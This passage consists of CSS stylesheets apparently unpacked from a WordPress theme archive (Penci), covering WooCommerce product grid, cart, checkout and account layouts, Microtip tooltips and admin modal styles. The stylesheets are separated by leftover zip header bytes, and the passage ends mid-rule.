.woocommerce .col2-set::before, .woocommerce .col2-set::after,
.woocommerce-page .col2-set::before,
.woocommerce-page .col2-set::after {
  content: " ";
  display: table;
}
.woocommerce .col2-set::after,
.woocommerce-page .col2-set::after {
  clear: both;
}
.woocommerce .col2-set .col-1,
.woocommerce-page .col2-set .col-1 {
  float: left;
  width: 48%;
}
.woocommerce .col2-set .col-2,
.woocommerce-page .col2-set .col-2 {
  float: right;
  width: 48%;
}
.woocommerce img,
.woocommerce-page img {
  height: auto;
  max-width: 100%;
}
.woocommerce div.product div.images,
.woocommerce #content div.product div.images,
.woocommerce-page div.product div.images,
.woocommerce-page #content div.product div.images {
  float: left;
  width: 48%;
}
.woocommerce div.product div.thumbnails,
.woocommerce #content div.product div.thumbnails,
.woocommerce-page div.product div.thumbnails,
.woocommerce-page #content div.product div.thumbnails {
  *zoom: 1;
}
.woocommerce div.product div.thumbnails::before, .woocommerce div.product div.thumbnails::after,
.woocommerce #content div.product div.thumbnails::before,
.woocommerce #content div.product div.thumbnails::after,
.woocommerce-page div.product div.thumbnails::before,
.woocommerce-page div.product div.thumbnails::after,
.woocommerce-page #content div.product div.thumbnails::before,
.woocommerce-page #content div.product div.thumbnails::after {
  content: " ";
  display: table;
}
.woocommerce div.product div.thumbnails::after,
.woocommerce #content div.product div.thumbnails::after,
.woocommerce-page div.product div.thumbnails::after,
.woocommerce-page #content div.product div.thumbnails::after {
  clear: both;
}
.woocommerce div.product div.thumbnails a,
.woocommerce #content div.product div.thumbnails a,
.woocommerce-page div.product div.thumbnails a,
.woocommerce-page #content div.product div.thumbnails a {
  float: left;
  width: 30.75%;
  margin-right: 3.8%;
  margin-bottom: 1em;
}
.woocommerce div.product div.thumbnails a.last,
.woocommerce #content div.product div.thumbnails a.last,
.woocommerce-page div.product div.thumbnails a.last,
.woocommerce-page #content div.product div.thumbnails a.last {
  margin-right: 0;
}
.woocommerce div.product div.thumbnails a.first,
.woocommerce #content div.product div.thumbnails a.first,
.woocommerce-page div.product div.thumbnails a.first,
.woocommerce-page #content div.product div.thumbnails a.first {
  clear: both;
}
.woocommerce div.product div.thumbnails.columns-1 a,
.woocommerce #content div.product div.thumbnails.columns-1 a,
.woocommerce-page div.product div.thumbnails.columns-1 a,
.woocommerce-page #content div.product div.thumbnails.columns-1 a {
  width: 100%;
  margin-right: 0;
  float: none;
}
.woocommerce div.product div.thumbnails.columns-2 a,
.woocommerce #content div.product div.thumbnails.columns-2 a,
.woocommerce-page div.product div.thumbnails.columns-2 a,
.woocommerce-page #content div.product div.thumbnails.columns-2 a {
  width: 48%;
}
.woocommerce div.product div.thumbnails.columns-4 a,
.woocommerce #content div.product div.thumbnails.columns-4 a,
.woocommerce-page div.product div.thumbnails.columns-4 a,
.woocommerce-page #content div.product div.thumbnails.columns-4 a {
  width: 22.05%;
}
.woocommerce div.product div.thumbnails.columns-5 a,
.woocommerce #content div.product div.thumbnails.columns-5 a,
.woocommerce-page div.product div.thumbnails.columns-5 a,
.woocommerce-page #content div.product div.thumbnails.columns-5 a {
  width: 16.9%;
}
.woocommerce div.product div.summary,
.woocommerce #content div.product div.summary,
.woocommerce-page div.product div.summary,
.woocommerce-page #content div.product div.summary {
  float: right;
  width: 48%;
  clear: none;
}
.woocommerce div.product .woocommerce-tabs,
.woocommerce #content div.product .woocommerce-tabs,
.woocommerce-page div.product .woocommerce-tabs,
.woocommerce-page #content div.product .woocommerce-tabs {
  clear: both;
}
.woocommerce div.product .woocommerce-tabs ul.tabs,
.woocommerce #content div.product .woocommerce-tabs ul.tabs,
.woocommerce-page div.product .woocommerce-tabs ul.tabs,
.woocommerce-page #content div.product .woocommerce-tabs ul.tabs {
  *zoom: 1;
}
.woocommerce div.product .woocommerce-tabs ul.tabs::before, .woocommerce div.product .woocommerce-tabs ul.tabs::after,
.woocommerce #content div.product .woocommerce-tabs ul.tabs::before,
.woocommerce #content div.product .woocommerce-tabs ul.tabs::after,
.woocommerce-page div.product .woocommerce-tabs ul.tabs::before,
.woocommerce-page div.product .woocommerce-tabs ul.tabs::after,
.woocommerce-page #content div.product .woocommerce-tabs ul.tabs::before,
.woocommerce-page #content div.product .woocommerce-tabs ul.tabs::after {
  content: " ";
  display: table;
}
.woocommerce div.product .woocommerce-tabs ul.tabs::after,
.woocommerce #content div.product .woocommerce-tabs ul.tabs::after,
.woocommerce-page div.product .woocommerce-tabs ul.tabs::after,
.woocommerce-page #content div.product .woocommerce-tabs ul.tabs::after {
  clear: both;
}
.woocommerce div.product .woocommerce-tabs ul.tabs li,
.woocommerce #content div.product .woocommerce-tabs ul.tabs li,
.woocommerce-page div.product .woocommerce-tabs ul.tabs li,
.woocommerce-page #content div.product .woocommerce-tabs ul.tabs li {
  display: inline-block;
}
.woocommerce div.product #reviews .comment,
.woocommerce #content div.product #reviews .comment,
.woocommerce-page div.product #reviews .comment,
.woocommerce-page #content div.product #reviews .comment {
  *zoom: 1;
}
.woocommerce div.product #reviews .comment::before, .woocommerce div.product #reviews .comment::after,
.woocommerce #content div.product #reviews .comment::before,
.woocommerce #content div.product #reviews .comment::after,
.woocommerce-page div.product #reviews .comment::before,
.woocommerce-page div.product #reviews .comment::after,
.woocommerce-page #content div.product #reviews .comment::before,
.woocommerce-page #content div.product #reviews .comment::after {
  content: " ";
  display: table;
}
.woocommerce div.product #reviews .comment::after,
.woocommerce #content div.product #reviews .comment::after,
.woocommerce-page div.product #reviews .comment::after,
.woocommerce-page #content div.product #reviews .comment::after {
  clear: both;
}
.woocommerce div.product #reviews .comment img,
.woocommerce #content div.product #reviews .comment img,
.woocommerce-page div.product #reviews .comment img,
.woocommerce-page #content div.product #reviews .comment img {
  float: right;
  height: auto;
}
.woocommerce ul.products,
.woocommerce ul.penci-woo-product-loop-categories,
.woocommerce-page ul.products,
.woocommerce-page ul.penci-woo-product-loop-categories {
  clear: both;
  display: flex;
  flex-wrap: wrap;
  margin-left: -15px;
  margin-right: -15px;
}
@media only screen and (max-width: 767px) {
  .woocommerce ul.products,
.woocommerce ul.penci-woo-product-loop-categories,
.woocommerce-page ul.products,
.woocommerce-page ul.penci-woo-product-loop-categories {
    margin-left: 0;
    margin-right: 0;
    justify-content: space-between;
  }
  .woocommerce ul.products:before, .woocommerce ul.products:after,
.woocommerce ul.penci-woo-product-loop-categories:before,
.woocommerce ul.penci-woo-product-loop-categories:after,
.woocommerce-page ul.products:before,
.woocommerce-page ul.products:after,
.woocommerce-page ul.penci-woo-product-loop-categories:before,
.woocommerce-page ul.penci-woo-product-loop-categories:after {
    display: none;
  }
}
.woocommerce ul.products li.product,
.woocommerce ul.penci-woo-product-loop-categories li.product,
.woocommerce-page ul.products li.product,
.woocommerce-page ul.penci-woo-product-loop-categories li.product {
  flex: 0 0 auto;
  width: 25%;
  padding-left: 15px;
  padding-right: 15px;
  margin-bottom: 30px;
}
@media only screen and (max-width: 767px) {
  .woocommerce ul.products li.product,
.woocommerce ul.penci-woo-product-loop-categories li.product,
.woocommerce-page ul.products li.product,
.woocommerce-page ul.penci-woo-product-loop-categories li.product {
    padding-left: 0;
    padding-right: 0;
  }
}
.woocommerce ul.products.product-list li.product-category,
.woocommerce ul.penci-woo-product-loop-categories.product-list li.product-category,
.woocommerce-page ul.products.product-list li.product-category,
.woocommerce-page ul.penci-woo-product-loop-categories.product-list li.product-category {
  max-width: 25%;
}
@media only screen and (max-width: 767px) {
  .woocommerce ul.products.product-list li.product-category,
.woocommerce ul.penci-woo-product-loop-categories.product-list li.product-category,
.woocommerce-page ul.products.product-list li.product-category,
.woocommerce-page ul.penci-woo-product-loop-categories.product-list li.product-category {
    max-width: 50%;
  }
}
.woocommerce ul.products li.first,
.woocommerce ul.penci-woo-product-loop-categories li.first,
.woocommerce-page ul.products li.first,
.woocommerce-page ul.penci-woo-product-loop-categories li.first {
  clear: both;
}
.woocommerce ul.products li.last,
.woocommerce ul.penci-woo-product-loop-categories li.last,
.woocommerce-page ul.products li.last,
.woocommerce-page ul.penci-woo-product-loop-categories li.last {
  margin-right: 0;
}
.woocommerce ul.products.penci-owl-carousel,
.woocommerce ul.penci-woo-product-loop-categories.penci-owl-carousel,
.woocommerce-page ul.products.penci-owl-carousel,
.woocommerce-page ul.penci-woo-product-loop-categories.penci-owl-carousel {
  margin-left: 0;
  margin-right: 0;
}
.woocommerce ul.products.penci-owl-carousel li.product,
.woocommerce ul.penci-woo-product-loop-categories.penci-owl-carousel li.product,
.woocommerce-page ul.products.penci-owl-carousel li.product,
.woocommerce-page ul.penci-woo-product-loop-categories.penci-owl-carousel li.product {
  padding-left: 0;
  padding-right: 0;
}
.woocommerce ul.products.columns-1 li.product,
.woocommerce-page ul.products.columns-1 li.product {
  width: 100%;
}
.woocommerce ul.products.columns-2 li.product,
.woocommerce-page ul.products.columns-2 li.product {
  width: 50%;
}
.woocommerce ul.products.columns-3 li.product,
.woocommerce-page ul.products.columns-3 li.product {
  width: 33.3333333333%;
}
@media only screen and (max-width: 767px) {
  .woocommerce ul.products.columns-3 li.product,
.woocommerce-page ul.products.columns-3 li.product {
    width: 50%;
  }
}
.woocommerce ul.products.columns-5 li.product,
.woocommerce-page ul.products.columns-5 li.product {
  width: 20%;
}
@media only screen and (max-width: 767px) {
  .woocommerce ul.products.columns-5 li.product,
.woocommerce-page ul.products.columns-5 li.product {
    width: 50%;
  }
}
.woocommerce ul.products.columns-6 li.product,
.woocommerce-page ul.products.columns-6 li.product {
  width: 16.6666666667%;
}
@media only screen and (max-width: 767px) {
  .woocommerce ul.products.columns-6 li.product,
.woocommerce-page ul.products.columns-6 li.product {
    width: 50%;
  }
}
.woocommerce.columns-1 ul.products li.product,
.woocommerce-page.columns-1 ul.products li.product {
  width: 100%;
}
.woocommerce.columns-2 ul.products li.product,
.woocommerce-page.columns-2 ul.products li.product {
  width: 50%;
}
.woocommerce.columns-3 ul.products li.product,
.woocommerce-page.columns-3 ul.products li.product {
  width: 33.3333333333%;
}
.woocommerce.columns-5 ul.products li.product,
.woocommerce-page.columns-5 ul.products li.product {
  width: 20%;
}
.woocommerce.columns-6 ul.products li.product,
.woocommerce-page.columns-6 ul.products li.product {
  width: 16.6666666667%;
}
.woocommerce .woocommerce-result-count,
.woocommerce-page .woocommerce-result-count {
  float: left;
}
.woocommerce .woocommerce-ordering,
.woocommerce-page .woocommerce-ordering {
  float: right;
}
.woocommerce .woocommerce-pagination ul.page-numbers,
.woocommerce-page .woocommerce-pagination ul.page-numbers {
  *zoom: 1;
}
.woocommerce .woocommerce-pagination ul.page-numbers::before, .woocommerce .woocommerce-pagination ul.page-numbers::after,
.woocommerce-page .woocommerce-pagination ul.page-numbers::before,
.woocommerce-page .woocommerce-pagination ul.page-numbers::after {
  content: " ";
  display: table;
}
.woocommerce .woocommerce-pagination ul.page-numbers::after,
.woocommerce-page .woocommerce-pagination ul.page-numbers::after {
  clear: both;
}
.woocommerce .woocommerce-pagination ul.page-numbers li,
.woocommerce-page .woocommerce-pagination ul.page-numbers li {
  display: inline-block;
}
.woocommerce table.cart img,
.woocommerce #content table.cart img,
.woocommerce-page table.cart img,
.woocommerce-page #content table.cart img {
  height: auto;
}
.woocommerce table.cart td.actions,
.woocommerce #content table.cart td.actions,
.woocommerce-page table.cart td.actions,
.woocommerce-page #content table.cart td.actions {
  text-align: right;
}
.woocommerce table.cart td.actions .input-text,
.woocommerce #content table.cart td.actions .input-text,
.woocommerce-page table.cart td.actions .input-text,
.woocommerce-page #content table.cart td.actions .input-text {
  width: 80px;
}
.woocommerce table.cart td.actions .coupon,
.woocommerce #content table.cart td.actions .coupon,
.woocommerce-page table.cart td.actions .coupon,
.woocommerce-page #content table.cart td.actions .coupon {
  float: left;
}

@media only screen and (max-width: 767px) {
	.woocommerce table.cart td.actions .coupon,
	.woocommerce #content table.cart td.actions .coupon,
	.woocommerce-page table.cart td.actions .coupon,
	.woocommerce-page #content table.cart td.actions .coupon {
	  float: none;
	}
}

.woocommerce table.cart td.actions .coupon label,
.woocommerce #content table.cart td.actions .coupon label,
.woocommerce-page table.cart td.actions .coupon label,
.woocommerce-page #content table.cart td.actions .coupon label {
  display: none;
}
.woocommerce .cart-collaterals,
.woocommerce-page .cart-collaterals {
  *zoom: 1;
  width: 100%;
}
.woocommerce .cart-collaterals::before, .woocommerce .cart-collaterals::after,
.woocommerce-page .cart-collaterals::before,
.woocommerce-page .cart-collaterals::after {
  content: " ";
  display: table;
}
.woocommerce .cart-collaterals::after,
.woocommerce-page .cart-collaterals::after {
  clear: both;
}
.woocommerce .cart-collaterals .related,
.woocommerce-page .cart-collaterals .related {
  width: 30.75%;
  float: left;
}
.woocommerce .cart-collaterals .cross-sells,
.woocommerce-page .cart-collaterals .cross-sells {
  width: 48%;
  float: left;
}
.woocommerce .cart-collaterals .cross-sells ul.products,
.woocommerce-page .cart-collaterals .cross-sells ul.products {
  float: none;
}
.woocommerce .cart-collaterals .cross-sells ul.products li,
.woocommerce-page .cart-collaterals .cross-sells ul.products li {
  width: 48%;
}
.woocommerce .cart-collaterals .shipping_calculator,
.woocommerce-page .cart-collaterals .shipping_calculator {
  width: 48%;
  *zoom: 1;
  clear: right;
  float: right;
}
.woocommerce .cart-collaterals .shipping_calculator::before, .woocommerce .cart-collaterals .shipping_calculator::after,
.woocommerce-page .cart-collaterals .shipping_calculator::before,
.woocommerce-page .cart-collaterals .shipping_calculator::after {
  content: " ";
  display: table;
}
.woocommerce .cart-collaterals .shipping_calculator::after,
.woocommerce-page .cart-collaterals .shipping_calculator::after {
  clear: both;
}
.woocommerce .cart-collaterals .shipping_calculator .col2-set .col-1,
.woocommerce .cart-collaterals .shipping_calculator .col2-set .col-2,
.woocommerce-page .cart-collaterals .shipping_calculator .col2-set .col-1,
.woocommerce-page .cart-collaterals .shipping_calculator .col2-set .col-2 {
  width: 47%;
}
.woocommerce .cart-collaterals .cart_totals,
.woocommerce-page .cart-collaterals .cart_totals {
  float: right;
  width: 48%;
}
.woocommerce ul.cart_list li,
.woocommerce ul.product_list_widget li,
.woocommerce-page ul.cart_list li,
.woocommerce-page ul.product_list_widget li {
  *zoom: 1;
}
.woocommerce ul.cart_list li::before, .woocommerce ul.cart_list li::after,
.woocommerce ul.product_list_widget li::before,
.woocommerce ul.product_list_widget li::after,
.woocommerce-page ul.cart_list li::before,
.woocommerce-page ul.cart_list li::after,
.woocommerce-page ul.product_list_widget li::before,
.woocommerce-page ul.product_list_widget li::after {
  content: " ";
  display: table;
}
.woocommerce ul.cart_list li::after,
.woocommerce ul.product_list_widget li::after,
.woocommerce-page ul.cart_list li::after,
.woocommerce-page ul.product_list_widget li::after {
  clear: both;
}
.woocommerce ul.cart_list li img,
.woocommerce ul.product_list_widget li img,
.woocommerce-page ul.cart_list li img,
.woocommerce-page ul.product_list_widget li img {
  float: right;
  height: auto;
}
.woocommerce form .form-row,
.woocommerce-page form .form-row {
  *zoom: 1;
}
.woocommerce form .form-row::before, .woocommerce form .form-row::after,
.woocommerce-page form .form-row::before,
.woocommerce-page form .form-row::after {
  content: " ";
  display: table;
}
.woocommerce form .form-row::after,
.woocommerce-page form .form-row::after {
  clear: both;
}
.woocommerce form .form-row label,
.woocommerce-page form .form-row label {
  display: block;
}
.woocommerce form .form-row label.checkbox,
.woocommerce-page form .form-row label.checkbox {
  display: inline;
}
.woocommerce form .form-row select,
.woocommerce-page form .form-row select {
  width: 100%;
}
.woocommerce form .form-row .input-text,
.woocommerce-page form .form-row .input-text {
  box-sizing: border-box;
  width: 100%;
}
.woocommerce form .form-row-first,
.woocommerce form .form-row-last,
.woocommerce-page form .form-row-first,
.woocommerce-page form .form-row-last {
  width: 47%;
  overflow: visible;
}
.woocommerce form .form-row-first,
.woocommerce-page form .form-row-first {
  float: left;
  /*rtl:raw:
  float: right;
  */
}
.woocommerce form .form-row-last,
.woocommerce-page form .form-row-last {
  float: right;
}
.woocommerce form .form-row-wide,
.woocommerce-page form .form-row-wide {
  clear: both;
}
.woocommerce form .password-input,
.woocommerce-page form .password-input {
  display: flex;
  flex-direction: column;
  justify-content: center;
  position: relative;
  /* Hide the Edge "reveal password" native button */
}
.woocommerce form .password-input input[type=password],
.woocommerce-page form .password-input input[type=password] {
  padding-right: 2.5rem;
}
.woocommerce form .password-input input::-ms-reveal,
.woocommerce-page form .password-input input::-ms-reveal {
  display: none;
}
.woocommerce form .show-password-input,
.woocommerce-page form .show-password-input {
  position: absolute;
  right: 0.7em;
  top: 0.7em;
  cursor: pointer;
}
.woocommerce form .show-password-input::after,
.woocommerce-page form .show-password-input::after {
  font-family: "WooCommerce";
  speak: never;
  font-weight: normal;
  font-variant: normal;
  text-transform: none;
  line-height: 1;
  -webkit-font-smoothing: antialiased;
  margin-left: 0.618em;
  content: "";
  text-decoration: none;
}
.woocommerce form .show-password-input.display-password::after,
.woocommerce-page form .show-password-input.display-password::after {
  color: #585858;
}
.woocommerce #payment .form-row select,
.woocommerce-page #payment .form-row select {
  width: auto;
}
.woocommerce #payment .wc-terms-and-conditions,
.woocommerce #payment .terms,
.woocommerce-page #payment .wc-terms-and-conditions,
.woocommerce-page #payment .terms {
  text-align: left;
  padding: 0 1em 0 0;
  float: left;
}
.woocommerce #payment #place_order,
.woocommerce-page #payment #place_order {
  float: right;
}
.woocommerce .woocommerce-billing-fields,
.woocommerce .woocommerce-shipping-fields,
.woocommerce-page .woocommerce-billing-fields,
.woocommerce-page .woocommerce-shipping-fields {
  *zoom: 1;
}
.woocommerce .woocommerce-billing-fields::before, .woocommerce .woocommerce-billing-fields::after,
.woocommerce .woocommerce-shipping-fields::before,
.woocommerce .woocommerce-shipping-fields::after,
.woocommerce-page .woocommerce-billing-fields::before,
.woocommerce-page .woocommerce-billing-fields::after,
.woocommerce-page .woocommerce-shipping-fields::before,
.woocommerce-page .woocommerce-shipping-fields::after {
  content: " ";
  display: table;
}
.woocommerce .woocommerce-billing-fields::after,
.woocommerce .woocommerce-shipping-fields::after,
.woocommerce-page .woocommerce-billing-fields::after,
.woocommerce-page .woocommerce-shipping-fields::after {
  clear: both;
}
.woocommerce .woocommerce-terms-and-conditions,
.woocommerce-page .woocommerce-terms-and-conditions {
  margin-bottom: 1.618em;
  padding: 1.618em;
}
.woocommerce .woocommerce-oembed,
.woocommerce-page .woocommerce-oembed {
  position: relative;
}

.woocommerce-account .woocommerce-MyAccount-navigation {
  float: left;
  width: 30%;
}
.woocommerce-account .woocommerce-MyAccount-content {
  float: right;
  width: 68%;
}

/**
 * RTL styles.
 */
.rtl .woocommerce .col2-set .col-1,
.rtl .woocommerce-page .col2-set .col-1 {
  float: right;
}
.rtl .woocommerce .col2-set .col-2,
.rtl .woocommerce-page .col2-set .col-2 {
  float: left;
}

@media only screen and (max-width: 768px){
	.woocommerce .col2-set .col-1, 
	.woocommerce .col2-set .col-2, 
	.woocommerce-page .col2-set .col-1, 
	.woocommerce-page .col2-set .col-2,
	.woocommerce-account .woocommerce-MyAccount-content {
		float: none;
		width: 100%;
	}
}
PK     0w\8:"  "    woocommerce/css/tooltips.cssnu [        /* -------------------------------------------------------------------
  Microtip

  Modern, lightweight css-only tooltips
  Just 1kb minified and gzipped

  @author Ghosh
  @package Microtip

----------------------------------------------------------------------
  1. Base Styles
  2. Direction Modifiers
  3. Position Modifiers
--------------------------------------------------------------------*/


/* ------------------------------------------------
  [1] Base Styles
-------------------------------------------------*/

[aria-label][role~="tooltip"] {
    position: relative;
}

[aria-label][role~="tooltip"]::before,
[aria-label][role~="tooltip"]::after {
    transform: translate3d(0, 0, 0);
    -webkit-backface-visibility: hidden;
    backface-visibility: hidden;
    will-change: transform;
    opacity: 0;
    pointer-events: none;
    transition: all var(--microtip-transition-duration, .18s) var(--microtip-transition-easing, ease-in-out) var(--microtip-transition-delay, 0s);
    position: absolute;
    box-sizing: border-box;
    z-index: 10;
    transform-origin: top;
}

[aria-label][role~="tooltip"]::before {
    background-size: 100% auto !important;
    content: "";
}

[aria-label][role~="tooltip"]::after {
    background: rgba(17, 17, 17, .9);
    border-radius: 4px;
    color: #ffffff;
    content: attr(aria-label);
    font-size: var(--microtip-font-size, 13px);
    font-weight: var(--microtip-font-weight, normal);
    text-transform: var(--microtip-text-transform, none);
    padding: .5em 1em;
    white-space: nowrap;
    box-sizing: content-box;
}

[aria-label][role~="tooltip"]:hover::before,
[aria-label][role~="tooltip"]:hover::after,
[aria-label][role~="tooltip"]:focus::before,
[aria-label][role~="tooltip"]:focus::after {
    opacity: 1;
    pointer-events: auto;
}


/* ------------------------------------------------
  [2] Position Modifiers
-------------------------------------------------*/

[role~="tooltip"][data-microtip-position|="top"]::before {
    background: url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D%22http%3A//www.w3.org/2000/svg%22%20width%3D%2236px%22%20height%3D%2212px%22%3E%3Cpath%20fill%3D%22rgba%2817,%2017,%2017,%200.9%29%22%20transform%3D%22rotate%280%29%22%20d%3D%22M2.658,0.000%20C-13.615,0.000%2050.938,0.000%2034.662,0.000%20C28.662,0.000%2023.035,12.002%2018.660,12.002%20C14.285,12.002%208.594,0.000%202.658,0.000%20Z%22/%3E%3C/svg%3E") no-repeat;
    height: 6px;
    width: 18px;
    margin-bottom: 5px;
}

[role~="tooltip"][data-microtip-position|="top"]::after {
    margin-bottom: 11px;
}

[role~="tooltip"][data-microtip-position|="top"]::before {
    transform: translate3d(-50%, 0, 0);
    bottom: 100%;
    left: 50%;
}

[role~="tooltip"][data-microtip-position|="top"]:hover::before {
    transform: translate3d(-50%, -5px, 0);
}

[role~="tooltip"][data-microtip-position|="top"]::after {
    transform: translate3d(-50%, 0, 0);
    bottom: 100%;
    left: 50%;
}

[role~="tooltip"][data-microtip-position="top"]:hover::after {
    transform: translate3d(-50%, -5px, 0);
}

/* ------------------------------------------------
  [2.1] Top Left
-------------------------------------------------*/
[role~="tooltip"][data-microtip-position="top-left"]::after {
    transform: translate3d(calc(-100% + 16px), 0, 0);
    bottom: 100%;
}

[role~="tooltip"][data-microtip-position="top-left"]:hover::after {
    transform: translate3d(calc(-100% + 16px), -5px, 0);
}


/* ------------------------------------------------
  [2.2] Top Right
-------------------------------------------------*/
[role~="tooltip"][data-microtip-position="top-right"]::after {
    transform: translate3d(calc(0% + -16px), 0, 0);
    bottom: 100%;
}

[role~="tooltip"][data-microtip-position="top-right"]:hover::after {
    transform: translate3d(calc(0% + -16px), -5px, 0);
}


/* ------------------------------------------------
  [2.3] Bottom
-------------------------------------------------*/
[role~="tooltip"][data-microtip-position|="bottom"]::before {
    background: url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D%22http%3A//www.w3.org/2000/svg%22%20width%3D%2236px%22%20height%3D%2212px%22%3E%3Cpath%20fill%3D%22rgba%2817,%2017,%2017,%200.9%29%22%20transform%3D%22rotate%28180%2018%206%29%22%20d%3D%22M2.658,0.000%20C-13.615,0.000%2050.938,0.000%2034.662,0.000%20C28.662,0.000%2023.035,12.002%2018.660,12.002%20C14.285,12.002%208.594,0.000%202.658,0.000%20Z%22/%3E%3C/svg%3E") no-repeat;
    height: 6px;
    width: 18px;
    margin-top: 5px;
    margin-bottom: 0;
}

[role~="tooltip"][data-microtip-position|="bottom"]::after {
    margin-top: 11px;
}

[role~="tooltip"][data-microtip-position|="bottom"]::before {
    transform: translate3d(-50%, -10px, 0);
    bottom: auto;
    left: 50%;
    top: 100%;
}

[role~="tooltip"][data-microtip-position|="bottom"]:hover::before {
    transform: translate3d(-50%, 0, 0);
}

[role~="tooltip"][data-microtip-position|="bottom"]::after {
    transform: translate3d(-50%, -10px, 0);
    top: 100%;
    left: 50%;
}

[role~="tooltip"][data-microtip-position="bottom"]:hover::after {
    transform: translate3d(-50%, 0, 0);
}


/* ------------------------------------------------
  [2.4] Bottom Left
-------------------------------------------------*/
[role~="tooltip"][data-microtip-position="bottom-left"]::after {
    transform: translate3d(calc(-100% + 16px), -10px, 0);
    top: 100%;
}

[role~="tooltip"][data-microtip-position="bottom-left"]:hover::after {
    transform: translate3d(calc(-100% + 16px), 0, 0);
}


/* ------------------------------------------------
  [2.5] Bottom Right
-------------------------------------------------*/
[role~="tooltip"][data-microtip-position="bottom-right"]::after {
    transform: translate3d(calc(0% + -16px), -10px, 0);
    top: 100%;
}

[role~="tooltip"][data-microtip-position="bottom-right"]:hover::after {
    transform: translate3d(calc(0% + -16px), 0, 0);
}


/* ------------------------------------------------
  [2.6] Left
-------------------------------------------------*/
[role~="tooltip"][data-microtip-position="left"]::before,
[role~="tooltip"][data-microtip-position="left"]::after {
    bottom: auto;
    left: auto;
    right: 100%;
    top: 50%;
    transform: translate3d(10px, -50%, 0);
}

[role~="tooltip"][data-microtip-position="left"]::before {
    background: url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D%22http%3A//www.w3.org/2000/svg%22%20width%3D%2212px%22%20height%3D%2236px%22%3E%3Cpath%20fill%3D%22rgba%2817,%2017,%2017,%200.9%29%22%20transform%3D%22rotate%28-90%2018%2018%29%22%20d%3D%22M2.658,0.000%20C-13.615,0.000%2050.938,0.000%2034.662,0.000%20C28.662,0.000%2023.035,12.002%2018.660,12.002%20C14.285,12.002%208.594,0.000%202.658,0.000%20Z%22/%3E%3C/svg%3E") no-repeat;
    height: 18px;
    width: 6px;
    margin-right: 5px;
    margin-bottom: 0;
}

[role~="tooltip"][data-microtip-position="left"]::after {
    margin-right: 11px;
}

[role~="tooltip"][data-microtip-position="left"]:hover::before,
[role~="tooltip"][data-microtip-position="left"]:hover::after {
    transform: translate3d(0, -50%, 0);
}


/* ------------------------------------------------
  [2.7] Right
-------------------------------------------------*/
[role~="tooltip"][data-microtip-position="right"]::before,
[role~="tooltip"][data-microtip-position="right"]::after {
    bottom: auto;
    left: 100%;
    top: 50%;
    transform: translate3d(-10px, -50%, 0);
}

[role~="tooltip"][data-microtip-position="right"]::before {
    background: url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D%22http%3A//www.w3.org/2000/svg%22%20width%3D%2212px%22%20height%3D%2236px%22%3E%3Cpath%20fill%3D%22rgba%2817,%2017,%2017,%200.9%29%22%20transform%3D%22rotate%2890%206%206%29%22%20d%3D%22M2.658,0.000%20C-13.615,0.000%2050.938,0.000%2034.662,0.000%20C28.662,0.000%2023.035,12.002%2018.660,12.002%20C14.285,12.002%208.594,0.000%202.658,0.000%20Z%22/%3E%3C/svg%3E") no-repeat;
    height: 18px;
    width: 6px;
    margin-bottom: 0;
    margin-left: 5px;
}

[role~="tooltip"][data-microtip-position="right"]::after {
    margin-left: 11px;
}

[role~="tooltip"][data-microtip-position="right"]:hover::before,
[role~="tooltip"][data-microtip-position="right"]:hover::after {
    transform: translate3d(0, -50%, 0);
}

/* ------------------------------------------------
  [3] Size
-------------------------------------------------*/
[role~="tooltip"][data-microtip-size="small"]::after {
    white-space: initial;
    width: 80px;
}

[role~="tooltip"][data-microtip-size="medium"]::after {
    white-space: initial;
    width: 150px;
}

[role~="tooltip"][data-microtip-size="large"]::after {
    white-space: initial;
    width: 260px;
}
PK     0w\      woocommerce/css/penci-admin.cssnu [        .swatch-preview {
    width: 44px;
    height: 44px;
    line-height: 44px;
    text-align: center;
    font-weight: 700;
    border: 1px solid #ccc;
}

.penci-modal-container {
    position: relative;
    display: none;
}

.penci-modal {
    transform: translate(-50%, -50%);
    position: fixed;
    top: 50%;
    left: 50%;
    width: 360px;
    max-width: 90%;
    z-index: 159990;
    background-color: #fcfcfc;
}

.penci-modal input.error {
    border-color: #dc3232;
}

.penci-modal-header,
.penci-modal-content,
.penci-modal-footer {
    padding: 20px;
}

.penci-modal-header {
    padding-top: 0;
    padding-bottom: 0;
}

.penci-modal-content {
    border-top: 1px solid #ddd;
    border-bottom: 1px solid #ddd;
    background-color: #fff;
}

.penci-modal-footer {
    text-align: right;
}

.penci-modal-footer .message,
.penci-modal-footer .spinner {
    float: left;
}

.penci-modal-footer .message.error {
    color: #dc3232;
}

.penci-modal-footer .message.success {
    color: #46b450;
}
PK     0w\w{c c $  woocommerce/css/penci-woocomerce.cssnu [        /* old-css inherit */
.woocommerce div.product .woocommerce-tabs .panel #respond p.comment-form-author,
.woocommerce div.product .woocommerce-tabs .panel #respond p.comment-form-email {
	padding: 0 14px;
}
.woocommerce #review_form #respond p {
	margin: 0 14px 10px 14px;
}
.woocommerce #review_form #respond p.stars {
	margin-left: 0;
	margin-right: 0;
}
/* = Woocommerce
----------------------------------------------------*/
.woocommerce .page-title {
	margin: 0 0 30px 0;
	padding-bottom: 0;
	text-align: left;
	position: relative;
	font-size: 24px;
	color: #313131;
	text-transform: uppercase;
}
.woocommerce .page-description {
	margin: -10px 0 22px;
}
.woocommerce .woocommerce-ordering,
.woocommerce .woocommerce-result-count {
	margin: 0 0 30px;
	color: #888;
}
.woocommerce .woocommerce-ordering select {
	padding: 5px;
	outline: none;
}
.woocommerce span.onsale {
	min-width: 50px;
	min-height: 25px;
	height: 25px;
	line-height: 26px;
	left: 10px;
	top: 10px;
	background: var(--pcaccent-cl);
	text-align: center;
	padding: 0 10px;
	font-weight: var(--pchead-wei);
	font-size: 12px;
	text-transform: uppercase;
	color: #fff;
	border-radius: 0;
	-webkit-border-radius: 0;
	-moz-border-radius: 0;
	font-family: var(--pchead-font);
	white-space: nowrap;
}
.woocommerce ul.products li.product .onsale {
	margin: 0;
	left: auto;
	right: 10px;
	top: 10px;
}
.woocommerce .products .star-rating {
	margin: 0;
	position: absolute;
	top: 16px;
	left: 10px;
	z-index: 5;
}
.woocommerce .star-rating span {
	color: #FFCA00;
}
.woocommerce.penci-image-hotspot .hotspot-product .star-rating {
	float: none;
	margin: 0 auto 8px;
}
.woocommerce #respond input#submit,
.woocommerce a.button,
.woocommerce button.button,
.woocommerce input.button {
	text-transform: uppercase;
